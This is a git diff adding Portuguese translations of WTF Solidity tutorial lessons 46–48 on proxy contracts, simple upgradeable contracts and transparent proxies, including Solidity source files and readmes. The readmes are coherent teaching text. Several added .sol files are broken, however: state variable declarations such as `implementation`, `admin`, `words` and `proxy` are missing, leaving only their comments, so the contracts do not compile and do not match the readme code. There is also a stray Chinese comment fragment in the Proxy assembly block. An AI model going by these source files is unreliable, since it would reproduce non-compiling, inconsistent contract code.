* + * O valor de retorno da chamada delegada é diretamente retornado ao chamador do Proxy. + */ +contract Proxy { + // Endereço do contrato lógico. O tipo de variável de estado da implementação deve ser o mesmo do contrato Proxy no mesmo local, caso contrário, ocorrerá um erro. + + /** + * @dev Inicializa o endereço do contrato lógico + */ + constructor(address implementation_){ + implementation = implementation_; + } + + /** + * @dev Função de callback, chama a função `_delegate()` para delegar a chamada deste contrato para o contrato `implementation` + */ + fallback() external payable { + _delegate(); + } + + /** + * @dev Delega a chamada para a execução do contrato lógico + */ + function _delegate() internal { + assembly { + // Copie msg.data. Assumimos total controle da memória neste assembly inline + // bloco porque não retornará ao código Solidity. Sobrescrevemos o + // Ler o storage na posição 0, que é o endereço de implementação. + let _implementation := sload(0) + + calldatacopy(0, 0, calldatasize()) + + // Usando delegatecall para chamar o contrato de implementação + // Os parâmetros do opcode delegatecall são: gas, endereço do contrato de destino, posição inicial da memória de entrada, comprimento da memória de entrada, posição inicial da área de memória de saída, comprimento da área de memória de saída. + // output area起始位置和长度位置,所以设为0 + // delegatecall retorna 1 se for bem-sucedido, 0 se falhar + let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0) + + // Copie o returndata, com início na posição 0 e comprimento returndatasize(), para a posição de memória 0. + returndatacopy(0, 0, returndatasize()) + + switch result + // Se a chamada do delegado falhar, reverta + case 0 { + revert(0, returndatasize()) + } + // Se a chamada de delegação for bem-sucedida, retorna os dados da memória a partir da posição 0, com o tamanho returndatasize() (formato bytes) + default { + return(0, returndatasize()) + } + } + } +} + +/** + * @dev Contrato lógico, executa a chamada delegada + */ +contract Logic { + // Manter consistência com o Proxy para evitar conflitos de slots + uint public x = 99; + event CallSuccess(); + + // Esta função libera LogicCalled e retorna um uint. + // Função seletora: 0xd09de08a + function increment() external returns(uint) { + emit CallSuccess(); + return x + 1; + } +} + +/** + * @dev Contrato Caller, chama o contrato proxy e obtém o resultado da execução + */ +contract Caller{ + // Endereço do contrato de proxy + + constructor(address proxy_){ + proxy = proxy_; + } + + // Ao chamar a função increase() através do contrato de proxy + function increase() external returns(uint) { + ( , bytes memory data) = proxy.call(abi.encodeWithSignature("increment()")); + return abi.decode(data,(uint)); + } +} diff --git a/Languages/pt-br/46_ProxyContract/img/46-1.png b/Languages/pt-br/46_ProxyContract/img/46-1.png new file mode 100644 index 000000000..a995ca4a6 Binary files /dev/null and b/Languages/pt-br/46_ProxyContract/img/46-1.png differ diff --git a/Languages/pt-br/46_ProxyContract/img/46-2.jpg b/Languages/pt-br/46_ProxyContract/img/46-2.jpg new file mode 100644 index 000000000..7c5fc0ee8 Binary files /dev/null and b/Languages/pt-br/46_ProxyContract/img/46-2.jpg differ diff --git a/Languages/pt-br/46_ProxyContract/img/46-3.jpg b/Languages/pt-br/46_ProxyContract/img/46-3.jpg new file mode 100644 index 000000000..5b73d464f Binary files /dev/null and b/Languages/pt-br/46_ProxyContract/img/46-3.jpg differ diff --git a/Languages/pt-br/46_ProxyContract/img/46-4.jpg b/Languages/pt-br/46_ProxyContract/img/46-4.jpg new file mode 100644 index 000000000..fe9ff000b Binary files /dev/null and b/Languages/pt-br/46_ProxyContract/img/46-4.jpg differ diff --git a/Languages/pt-br/46_ProxyContract/img/46-5.jpg b/Languages/pt-br/46_ProxyContract/img/46-5.jpg new file mode 100644 index 000000000..6903eb859 Binary files /dev/null and b/Languages/pt-br/46_ProxyContract/img/46-5.jpg differ diff --git a/Languages/pt-br/46_ProxyContract/img/46-6.jpg b/Languages/pt-br/46_ProxyContract/img/46-6.jpg new file mode 100644 index 000000000..be1c1678b Binary files /dev/null and b/Languages/pt-br/46_ProxyContract/img/46-6.jpg differ diff --git a/Languages/pt-br/46_ProxyContract/img/46-7.jpg b/Languages/pt-br/46_ProxyContract/img/46-7.jpg new file mode 100644 index 000000000..b6aa5f964 Binary files /dev/null and b/Languages/pt-br/46_ProxyContract/img/46-7.jpg differ diff --git a/Languages/pt-br/46_ProxyContract/readme.md b/Languages/pt-br/46_ProxyContract/readme.md new file mode 100644 index 000000000..c757d95af --- /dev/null +++ b/Languages/pt-br/46_ProxyContract/readme.md @@ -0,0 +1,166 @@ +# 46. Contrato de Proxy + +Eu tenho revisado solidity recentemente para consolidar alguns detalhes e escrever um "Guia Simplificado para Solidity" para iniciantes (programadores experientes podem procurar outras referências). Vou atualizar o guia com 1-3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo do WhatsApp](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site Oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais estão disponíveis no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos falar sobre Contratos de Proxy. O código de ensino é uma versão simplificada do contrato de Proxy do [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol). + +## Modo de Proxy + +Os contratos `Solidity` são imutáveis após serem implantados na cadeia. Isso tem suas vantagens e desvantagens: + +- Vantagens: segurança, os usuários sabem o que esperar (na maioria das vezes). +- Desvantagens: mesmo que haja um bug no contrato, não é possível modificá-lo ou atualizá-lo, apenas implantar um novo contrato. Além disso, o novo contrato terá um endereço diferente do anterior, e a migração dos dados do contrato existente para o novo exigirá um alto consumo de gas. + +Existe uma maneira de modificar ou atualizar contratos após a implantação? Sim, através do **modo de proxy**. + +![Modo de Proxy](./img/46-1.png) + +No modo de proxy, os dados e a lógica do contrato são separados, armazenados em contratos diferentes. Usando o simples contrato de proxy mostrado no diagrama acima como exemplo, os dados (variáveis de estado) são armazenados no contrato de proxy, enquanto a lógica (funções) é armazenada em outro contrato de lógica. O contrato de proxy delega toda a chamada de função para o contrato de lógica usando `delegatecall` e depois retorna o resultado final ao chamador. + +O modo de proxy tem duas principais vantagens: +1. Atualização: quando precisamos atualizar a lógica do contrato, basta direcionar o contrato de proxy para o novo contrato de lógica. +2. Economia de gas: se vários contratos reutilizarem a mesma lógica, basta implantar um contrato de lógica e, em seguida, implantar vários contratos de proxy que armazenam apenas os dados e se conectam à lógica central. + +**Dica**: Se você não está familiarizado com o `delegatecall`, pode conferir a [Lição 23 do tutorial](../23_Delegatecall). + +## Contrato de Proxy + +Aqui está um contrato de Proxy simples, simplificado a partir do contrato de [Proxy do OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/Proxy.sol). Ele consiste em três partes: Contrato de Proxy `Proxy`, Contrato de Lógica `Logic` e um exemplo de chamada `Caller`. O código é simples: + +1. Implante o contrato de lógica `Logic` primeiro. +2. Crie o contrato de proxy `Proxy`, onde a variável de estado `implementation` registra o endereço do contrato `Logic`. +3. O contrato `Proxy` usa a função de callback `fallback` para delegar todas as chamadas ao contrato `Logic`. +4. Por fim, implante o contrato de chamada `Caller` e chame o contrato de Proxy. + +### Contrato de Proxy `Proxy` + +O contrato de `Proxy` é curto, mas usa linguagem de montagem inline, o que pode tornar o entendimento um pouco mais desafiador. Possui apenas uma variável de estado, um construtor e uma função de fallback. A variável de estado `implementation` é inicializada no construtor e é usada para armazenar o endereço do contrato `Logic`. + +```solidity +contract Proxy { + address public implementation; // endereço do contrato de lógica + + /** + * @dev Inicializa o endereço do contrato de lógica + */ + constructor(address implementation_){ + implementation = implementation_; + } +``` + +A função de fallback do `Proxy` encaminha todas as chamadas externas para o contrato `Logic` usando `delegatecall`. Esta função de fallback é única, pois permite a devolução de valores mesmo sem um valor de retorno padrão. Ela usa operações de montagem inline como `calldatacopy`, `delegatecall`, `returndatacopy` e outras para realizar a ação corretamente. + +```solidity +/** + * @dev Função de fallback, delega a chamada desse contrato para o contrato `implementation` + * Usa montagem para permitir o retorno de valores mesmo sem um valor de retorno padrão + */ +fallback() external payable { + address _implementation = implementation; + assembly { + // Copia calldata para a memória + calldatacopy(0, 0, calldatasize()) + + // Chama o contrato 'implementation' por meio do delegatecall + let result := delegatecall(gas(), _implementation, 0, calldatasize(), 0, 0) + + // Copia o retorno para a memória + returndatacopy(0, 0, returndatasize()) + + switch result + case 0 { + revert(0, returndatasize()) + } + default { + return(0, returndatasize()) + } + } +} +``` + +### Contrato de Lógica `Logic` + +Este é um contrato de lógica muito simples, criado apenas para fins de demonstração do contrato de Proxy. Ele contém `2` variáveis, `1` evento e `1` função: + +- `implementation`: variável de espaço reservado, mantida consistente com o contrato de `Proxy` para evitar conflitos de slots. +- `x`: variável `uint` definida como `99`. +- `CallSuccess`: evento acionado quando a chamada é bem-sucedida. +- `increment()`: função que será chamada pelo contrato de `Proxy`, acionando o evento `CallSuccess`, e retornando um `uint`, cujo selecionador é `0xd09de08a`. Quando chamada diretamente, a função retornaria `100`, mas chamada através do `Proxy` retornará `1`. + +```solidity +/** + * @dev Contrato de lógica para executar as chamadas delegadas + */ +contract Logic { + address public implementation; // mantido consistente com Proxy para evitar conflitos de slots + uint public x = 99; + event CallSuccess(); + + // Esta função aciona o evento CallSuccess e retorna um uint + // Selector da função: 0xd09de08a + function increment() external returns(uint) { + emit CallSuccess(); + return x + 1; + } +} +``` + +### Contrato de Chamada `Caller` + +O contrato `Caller` demonstra como chamar um contrato de proxy. É um contrato simples que precisa que você entenda as lições sobre `call` e `ABI encoding`. + +Possui `1` variável e `2` funções: + +- `proxy`: variável de estado que armazena o endereço do contrato de proxy. +- Construtor: inicializa a variável `proxy` ao implantar o contrato. +- `increase()`: chama a função `increment()` do contrato de proxy usando `call` e retorna um `uint`. Para realizar a chamada, usamos `abi.encodeWithSignature()` para obter o seletor da função `increment()`, e para decodificar o valor de retorno, usamos `abi.decode()`. + +```solidity +/** + * @dev Contrato Caller que chama o contrato de Proxy e obtém o resultado + */ +contract Caller{ + address public proxy; // endereço do contrato de proxy + + constructor(address proxy_){ + proxy = proxy_; + } + + // Chama a função increment() através do contrato de Proxy + function increment() external returns(uint) { + ( , bytes memory data) = proxy.call(abi.encodeWithSignature("increment()")); + return abi.decode(data,(uint)); + } +} +``` + +## Demonstração no `Remix` + +1. Implante o contrato de `Logic`. + +2. Chame a função `increment()` do contrato de `Logic`, que retorna `100`. + +3. Implante o contrato de `Proxy` e forneça o endereço do contrato de `Logic`. + +4. Chame a função `increment()` do contrato de `Proxy`, sem retorno. + +5. Implante o contrato `Caller` e forneça o endereço do contrato de `Proxy`. + +6. Chame a função `increment()` do contrato `Caller`, que retornará `1`. + +## Conclusão + +Nesta lição, apresentamos o modo de proxy e um contrato de proxy simples. O contrato de proxy utiliza a função `delegatecall` para delegar chamadas de função para outro contrato de lógica, separando assim os dados e a lógica em contratos diferentes. Além disso, ele utiliza operações de montagem inline para permitir que a função de fallback, que normalmente não teria um valor de retorno, retorne dados. A pergunta que deixamos para você foi: por que chamar `increment()` através do Proxy retornará `1`? De acordo com a [Lição 23 sobre delegatecall](../23_Delegatecall/readme_pt-br.md), ao chamar uma função do contrato de lógica através do contrato de proxy, qualquer operação que modifique ou leia variáveis de estado no contrato de lógica afetará as variáveis de estado correspondentes no contrato de proxy. Como a variável `x` do contrato de proxy não foi definida (ou seja, corresponde ao zero na posição de armazenamento do contrato de proxy), chamar `increment()` através do Proxy retornará `1`. + +Na próxima lição, veremos contratos de proxy atualizáveis. + +Embora os contratos de proxy sejam poderosos, eles também são propensos a bugs, então é recomendável copiar os modelos de contratos do [OpenZeppelin](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/proxy). + diff --git a/Languages/pt-br/47_Upgrade/Upgrade.sol b/Languages/pt-br/47_Upgrade/Upgrade.sol new file mode 100644 index 000000000..bee4fefe0 --- /dev/null +++ b/Languages/pt-br/47_Upgrade/Upgrade.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// Contrato simples e atualizável, onde o administrador pode alterar o endereço do contrato lógico através da função de atualização, modificando assim a lógica do contrato. +// Para fins de demonstração educacional, não utilizar em ambiente de produção. +contract SimpleUpgrade { + // Endereço do contrato lógico + // admin address + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Construtor, inicializa os endereços do admin e do contrato lógico + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback function, delegates the call to the logic contract + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // Função de atualização, altera o endereço do contrato lógico, só pode ser chamada pelo admin + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} + +// Contrato lógico 1 +contract Logic1 { + // Variáveis de estado e contratos proxy são consistentes para evitar conflitos de slot + address public implementation; + address public admin; + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Alterando a variável de estado no proxy, seletor: 0xc2985578 + function foo() public{ + words = "old"; + } +} + +// Contrato lógico 2 +contract Logic2 { + // Variáveis de estado e contratos proxy são consistentes para evitar conflitos de slot + address public implementation; + address public admin; + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Alterando a variável de estado no proxy, seletor: 0xc2985578 + function foo() public{ + words = "new"; + } +} + diff --git a/Languages/pt-br/47_Upgrade/img/47-1.png b/Languages/pt-br/47_Upgrade/img/47-1.png new file mode 100644 index 000000000..03654df5a Binary files /dev/null and b/Languages/pt-br/47_Upgrade/img/47-1.png differ diff --git a/Languages/pt-br/47_Upgrade/img/47-2.png b/Languages/pt-br/47_Upgrade/img/47-2.png new file mode 100644 index 000000000..04603d022 Binary files /dev/null and b/Languages/pt-br/47_Upgrade/img/47-2.png differ diff --git a/Languages/pt-br/47_Upgrade/img/47-3.png b/Languages/pt-br/47_Upgrade/img/47-3.png new file mode 100644 index 000000000..786ea52b9 Binary files /dev/null and b/Languages/pt-br/47_Upgrade/img/47-3.png differ diff --git a/Languages/pt-br/47_Upgrade/img/47-4.png b/Languages/pt-br/47_Upgrade/img/47-4.png new file mode 100644 index 000000000..8c66c2c15 Binary files /dev/null and b/Languages/pt-br/47_Upgrade/img/47-4.png differ diff --git a/Languages/pt-br/47_Upgrade/img/47-5.png b/Languages/pt-br/47_Upgrade/img/47-5.png new file mode 100644 index 000000000..645c4179c Binary files /dev/null and b/Languages/pt-br/47_Upgrade/img/47-5.png differ diff --git a/Languages/pt-br/47_Upgrade/img/47-6.png b/Languages/pt-br/47_Upgrade/img/47-6.png new file mode 100644 index 000000000..696a4c548 Binary files /dev/null and b/Languages/pt-br/47_Upgrade/img/47-6.png differ diff --git a/Languages/pt-br/47_Upgrade/img/47-7.png b/Languages/pt-br/47_Upgrade/img/47-7.png new file mode 100644 index 000000000..8cc8332eb Binary files /dev/null and b/Languages/pt-br/47_Upgrade/img/47-7.png differ diff --git a/Languages/pt-br/47_Upgrade/readme.md b/Languages/pt-br/47_Upgrade/readme.md new file mode 100644 index 000000000..0413d59e1 --- /dev/null +++ b/Languages/pt-br/47_Upgrade/readme.md @@ -0,0 +1,118 @@ +# WTF Solidity Simplificado: 47. Contrato Atualizável + +Recentemente, tenho revisitado o estudo de solidity para consolidar os detalhes e escrever um "WTF Solidity Simplificado", destinado aos iniciantes (os profissionais de programação podem buscar outros tutoriais). Atualizo de 1 a 3 aulas por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Site oficial wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são disponibilizados no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +----- + +Nesta aula, vamos falar sobre contratos atualizáveis (Upgradeable Contracts). O contrato utilizado neste tutorial é uma simplificação de contratos da `OpenZeppelin` e pode apresentar problemas de segurança, portanto, não deve ser utilizado em ambiente de produção. + +## Contrato Atualizável + +Se você entendeu o conceito de contrato de proxy, será fácil compreender o contrato atualizável. Ele é um contrato de proxy que pode alterar o contrato lógico. + +![](./img/47-1.png) + +## Implementação Simples + +A seguir, vamos implementar um contrato atualizável simples, que inclui `3` contratos: contrato de proxy, contrato lógico antigo e contrato lógico novo. + +### Contrato de Proxy + +Este contrato de proxy é mais simples do que o apresentado na [aula anterior](../46_ProxyContract/readme_pt-br.md). Neste caso, não utilizamos `assembly inline` no método `fallback()`, mas simplesmente `implementation.delegatecall(msg.data);`. Portanto, a função de retorno não possui valor, mas é suficiente para fins educacionais. + +Ele possui `3` variáveis: +- `implementation`: endereço do contrato lógico. +- `admin`: endereço do admin. +- `words`: string que pode ser alterada por meio de funções do contrato lógico. + +Ele possui `3` funções: + +- Construtor: inicializa o admin e o endereço do contrato lógico. +- `fallback()`: função de fallback, que delega a chamada para o contrato lógico. +- `upgrade()`: função de atualização que altera o endereço do contrato lógico e só pode ser chamada pelo `admin`. + +```solidity +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// Contrato atualizável simples, no qual o admin pode alterar o endereço do contrato lógico usando a função de atualização, modificando assim a lógica do contrato. +// Apenas para fins educacionais, não deve ser utilizado em ambiente de produção. +contract SimpleUpgrade { + address public implementation; // Endereço do contrato lógico + address public admin; // Endereço do admin + string public words; // String que pode ser alterada por meio de funções do contrato lógico + + // Construtor, inicializa o admin e o endereço do contrato lógico + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // Função fallback, delega a chamada para o contrato lógico + fallback() external payable { + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // Função de atualização, altera o endereço do contrato lógico e só pode ser chamada pelo admin + function upgrade(address newImplementation) external { + require(msg.sender == admin); + implementation = newImplementation; + } +} +``` + +### Contrato Lógico Antigo + +Este contrato lógico possui `3` variáveis de estado, mantendo a consistência com o contrato de proxy e evitando conflito de slots. Ele possui apenas a função `foo()`, que altera o valor da variável `words` do contrato de proxy para `"old"`. + +```solidity +// Contrato lógico 1 +contract Logic1 { + // Variáveis de estado que coincidem com as do contrato de proxy, evitando conflito de slots + address public implementation; + address public admin; + string public words; // String que pode ser alterada por meio de funções do contrato lógico + + // Altera a variável de estado do contrato de proxy, seletor: 0xc2985578 + function foo() public{ + words = "old"; + } +} +``` + +### Contrato Lógico Novo + +Este contrato lógico também possui `3` variáveis de estado, mantendo a consistência com o contrato de proxy. Ele possui apenas a função `foo()`, que altera o valor da variável `words` do contrato de proxy para `"new"`. + +```solidity +// Contrato lógico 2 +contract Logic2 { + // Variáveis de estado que coincidem com as do contrato de proxy, evitando conflito de slots + address public implementation; + address public admin; + string public words; // String que pode ser alterada por meio de funções do contrato lógico + + // Altera a variável de estado do contrato de proxy, seletor: 0xc2985578 + function foo() public{ + words = "new"; + } +} +``` + +## Implementação no Remix + +1. Implante os contratos lógicos antigos e novos, `Logic1` e `Logic2`. +2. Implante o contrato atualizável `SimpleUpgrade` e defina o endereço de `implementation` para o contrato lógico antigo. +3. Utilize o seletor `0xc2985578` para chamar a função `foo()` do contrato lógico antigo `Logic1` no contrato de proxy, alterando o valor de `words` para `"old"`. +4. Chame a função `upgrade()` para definir o endereço de `implementation` para o contrato lógico novo `Logic2`. +5. Utilize o seletor `0xc2985578` para chamar a função `foo()` do contrato lógico novo `Logic2` no contrato de proxy, alterando o valor de `words` para `"new"`. + +Este tutorial apresentou um contrato atualizável simples, que adiciona a funcionalidade de atualização a contratos inteligentes que normalmente não são alteráveis. No entanto, este contrato possui um problema de `conflito de seletores`, representando um risco de segurança. Nas próximas aulas, iremos abordar os contratos atualizáveis padrão, como o proxy transparente e o `UUPS`. + diff --git a/Languages/pt-br/48_TransparentProxy/TransparentProxy.sol b/Languages/pt-br/48_TransparentProxy/TransparentProxy.sol new file mode 100644 index 000000000..c30ccfbf8 --- /dev/null +++ b/Languages/pt-br/48_TransparentProxy/TransparentProxy.sol @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: MIT +// wtf.academy +pragma solidity ^0.8.21; + +// Exemplo de conflito de seletor +// Após remover os comentários, o contrato não será compilado, pois as duas funções têm o mesmo seletor. +contract Foo { + bytes4 public selector1 = bytes4(keccak256("burn(uint256)")); + bytes4 public selector2 = bytes4(keccak256("collate_propagate_storage(bytes16)")); + // function burn(uint256) external {} + // function collate_propagate_storage(bytes16) external {} +} + + +// Código de ensino para um contrato transparente e atualizável, não utilizar em produção. +contract TransparentProxy { + // Endereço do contrato lógico + // Administrador + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Construtor, inicializa os endereços do admin e do contrato lógico + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // fallback function, delegates the call to the logic contract + // Não pode ser chamado pelo admin para evitar conflitos de seletor inesperados + fallback() external payable { + require(msg.sender != admin); + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // Função de atualização, altera o endereço do contrato lógico, só pode ser chamada pelo admin + function upgrade(address newImplementation) external { + if (msg.sender != admin) revert(); + implementation = newImplementation; + } +} + +// Contrato de lógica antigo +contract Logic1 { + // Variáveis de estado e contratos proxy são consistentes para evitar conflitos de slot + address public implementation; + address public admin; + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Alterando a variável de estado no proxy, seletor: 0xc2985578 + function foo() public{ + words = "old"; + } +} + +// Novo contrato lógico +contract Logic2 { + // Variáveis de estado e contratos proxy são consistentes para evitar conflitos de slot + address public implementation; + address public admin; + // Strings, podem ser alterados por meio de funções de contrato lógico. + + // Alterando a variável de estado no proxy, seletor: 0xc2985578 + function foo() public{ + words = "new"; + } +} \ No newline at end of file diff --git a/Languages/pt-br/48_TransparentProxy/img/48-1.png b/Languages/pt-br/48_TransparentProxy/img/48-1.png new file mode 100644 index 000000000..7c1e598a8 Binary files /dev/null and b/Languages/pt-br/48_TransparentProxy/img/48-1.png differ diff --git a/Languages/pt-br/48_TransparentProxy/img/48-2.png b/Languages/pt-br/48_TransparentProxy/img/48-2.png new file mode 100644 index 000000000..9a862e2b6 Binary files /dev/null and b/Languages/pt-br/48_TransparentProxy/img/48-2.png differ diff --git a/Languages/pt-br/48_TransparentProxy/img/48-3.png b/Languages/pt-br/48_TransparentProxy/img/48-3.png new file mode 100644 index 000000000..9e09c5d76 Binary files /dev/null and b/Languages/pt-br/48_TransparentProxy/img/48-3.png differ diff --git a/Languages/pt-br/48_TransparentProxy/img/48-4.png b/Languages/pt-br/48_TransparentProxy/img/48-4.png new file mode 100644 index 000000000..322b43b95 Binary files /dev/null and b/Languages/pt-br/48_TransparentProxy/img/48-4.png differ diff --git a/Languages/pt-br/48_TransparentProxy/img/48-5.png b/Languages/pt-br/48_TransparentProxy/img/48-5.png new file mode 100644 index 000000000..023637f41 Binary files /dev/null and b/Languages/pt-br/48_TransparentProxy/img/48-5.png differ diff --git a/Languages/pt-br/48_TransparentProxy/img/48-6.png b/Languages/pt-br/48_TransparentProxy/img/48-6.png new file mode 100644 index 000000000..ed1fcaa20 Binary files /dev/null and b/Languages/pt-br/48_TransparentProxy/img/48-6.png differ diff --git a/Languages/pt-br/48_TransparentProxy/img/48-7.png b/Languages/pt-br/48_TransparentProxy/img/48-7.png new file mode 100644 index 000000000..6f5455ea9 Binary files /dev/null and b/Languages/pt-br/48_TransparentProxy/img/48-7.png differ diff --git a/Languages/pt-br/48_TransparentProxy/img/48-8.png b/Languages/pt-br/48_TransparentProxy/img/48-8.png new file mode 100644 index 000000000..6849fa5e1 Binary files /dev/null and b/Languages/pt-br/48_TransparentProxy/img/48-8.png differ diff --git a/Languages/pt-br/48_TransparentProxy/readme.md b/Languages/pt-br/48_TransparentProxy/readme.md new file mode 100644 index 000000000..0e1f8b106 --- /dev/null +++ b/Languages/pt-br/48_TransparentProxy/readme.md @@ -0,0 +1,145 @@ +# WTF Introdução Simples ao Solidity: 48. Proxy Transparente + +Recentemente, tenho revisado meus conhecimentos em solidity, reforçando os detalhes e escrevendo um "WTF Introdução Simples ao Solidity" para iniciantes (programadores experientes devem procurar outros tutoriais). Atualizo de 1 a 3 lições por semana. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Comunidade: [Discord](https://discord.gg/5akcruXrsk) | [Grupo no WeChat](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) | [Website wtf.academy](https://wtf.academy) + +Todo o código e tutoriais são de código aberto no GitHub: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTF-Solidity) + +--- + +Nesta lição, vamos falar sobre o conflito de seletores em contratos de proxy e como resolver esse problema com o Proxy Transparente. O código educacional foi simplificado a partir do [TransparentUpgradeableProxy](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/transparent/TransparentUpgradeableProxy.sol) do OpenZeppelin e não deve ser usado em produção. + +## Conflito de Seletores + +Em contratos inteligentes, o seletor de uma função (selector) são os primeiros 4 bytes do hash da assinatura da função. Por exemplo, o seletor de `mint(address account)` é `bytes4(keccak256("mint(address)"))`, que é `0x6a627842`. Para mais informações sobre seletores, veja a [Aula 29 do WTF Solidity: Seletores de Funções](../29_Selector/readme_pt-br.md). + +Devido ao fato dos seletores serem compostos por apenas 4 bytes, é possível que duas funções diferentes tenham o mesmo seletor. Por exemplo, as funções a seguir: + +```solidity +// Exemplo de conflito de seletores +contract Foo { + function burn(uint256) external {} + function collate_propagate_storage(bytes16) external {} +} +``` + +![48-1.png](./img/48-1.png) + +No exemplo acima, as funções `burn()` e `collate_propagate_storage()` têm o mesmo seletor `0x42966c68`, o que é um conflito de seletores. Nesse caso, o EVM não consegue distinguir qual função o usuário está tentando chamar, impossibilitando a compilação do contrato. + +Mesmo que exista um conflito de seletores entre um contrato de lógica e um contrato de proxy, ainda é possível compilar o código. No entanto, isso pode levar a sérios problemas de segurança. Por exemplo, se a função `a` do contrato de lógica tiver o mesmo seletor que a função de atualização do contrato de proxy, o administrador poderá inadvertidamente transformar o contrato em um buraco negro ao chamar a função `a`. As consequências seriam catastróficas. + +Atualmente, existem dois padrões de contratos atualizáveis que resolvem esse problema: Proxy Transparente e UUPS (Universal Upgradeable Proxy System). + +## Proxy Transparente + +A lógica por trás de um Proxy Transparente é muito simples: o administrador pode, por causa de um "conflito de seletores", chamar acidentalmente a função de atualização do contrato de proxy ao tentar chamar uma função do contrato de lógica. Para evitar isso, a solução é restringir os poderes do administrador da seguinte maneira: + +- O administrador se torna um executor de tarefas e pode chamar apenas as funções de atualização do contrato de proxy para mudanças, sem poder chamar funções de chamada de volta para o contrato de lógica. +- Os demais usuários não conseguem chamar as funções de atualização do contrato, mas podem chamar as funções do contrato de lógica. + +### Contrato de Proxy + +O contrato de Proxy deste exemplo é muito semelhante ao [da 47ª aula](../47_Upgrade/readme_pt-br.md), com a diferença de que a função `fallback()` agora tem uma verificação adicional para evitar que o administrador chame as funções da lógica. + +Ele contém `3` variáveis: +- `implementation`: endereço do contrato de lógica. +- `admin`: endereço do administrador. +- `words`: uma string que pode ser alterada pelas funções do contrato de lógica. + +Este contrato contém `3` funções: + +- Construtor: inicializa o administrador e o endereço do contrato de lógica. +- `fallback()`: função de chamada de volta que delega a chamada para o contrato de lógica, mas não pode ser chamada pelo administrador. +- `upgrade()`: função de atualização que altera o endereço do contrato de lógica, só pode ser chamada pelo administrador. + +```solidity +// Código de exemplo de um contrato de proxy transparente, não use em produção. +contract TransparentProxy { + address implementation; // endereço do contrato de lógica + address admin; // administrador + string public words; // uma string que pode ser alterada pelas funções do contrato de lógica + + // Construtor, inicializa o administrador e o endereço do contrato de lógica + constructor(address _implementation){ + admin = msg.sender; + implementation = _implementation; + } + + // Função de chamada de volta, delega a chamada para o contrato de lógica + // Não pode ser chamada pelo administrador para evitar conflitos de seletores + fallback() external payable { + require(msg.sender != admin); + (bool success, bytes memory data) = implementation.delegatecall(msg.data); + } + + // Função de atualização, altera o endereço do contrato de lógica. Só pode ser chamada pelo administrador + function upgrade(address newImplementation) external { + if (msg.sender != admin) revert(); + implementation = newImplementation; + } +} +``` + +### Contrato de Lógica + +Os contratos de lógica novo e antigo são idênticos à [47ª aula](../47_Upgrade/readme_pt-br.md). Eles contêm `3` variáveis de estado para manter a consistência com o contrato de proxy e uma função `foo()`. O contrato antigo altera o valor de `words` para `"old"`, enquanto o novo altera para `"new"`. + +```solidity +// Contrato de lógica antigo +contract Logic1 { + // Variáveis de estado que devem ser compatíveis com o contrato de proxy para evitar a colisão de slots + address public implementation; + address public admin; + string public words; // uma string que pode ser alterada pelas funções do contrato de lógica + + // Altera as variáveis de estado do contrato de proxy, seletor: 0xc2985578 + function foo() public{ + words = "old"; + } +} + +// Contrato de lógica novo +contract Logic2 { + // Variáveis de estado que devem ser compatíveis com o contrato de proxy para evitar a colisão de slots + address public implementation; + address public admin; + string public words; // uma string que pode ser alterada pelas funções do contrato de lógica + + // Altera as variáveis de estado do contrato de proxy, seletor: 0xc2985578 + function foo() public{ + words = "new"; + } +} +``` + +## Implementação no Remix + +1. Implemente os contratos de lógica antigo e novo, `Logic1` e `Logic2`, respectivamente. +![48-2.png](./img/48-2.png) +![48-3.png](./img/48-3.png) + +2. Implemente o contrato de proxy transparente `TransparentProxy` e aponte o endereço de `implementation` para o contrato de lógica antigo. +![48-4.png](./img/48-4.png) + +3. Utilizando o seletor `0xc2985578`, chame a função `foo()` do contrato de lógica antigo `Logic1` no contrato de proxy. A chamada falhará, pois o administrador não pode chamar funções de lógica. +![48-5.png](./img/48-5.png) + +4. Troque para uma nova carteira e, usando o seletor `0xc2985578`, chame a função `foo()` do contrato de lógica antigo `Logic1` no 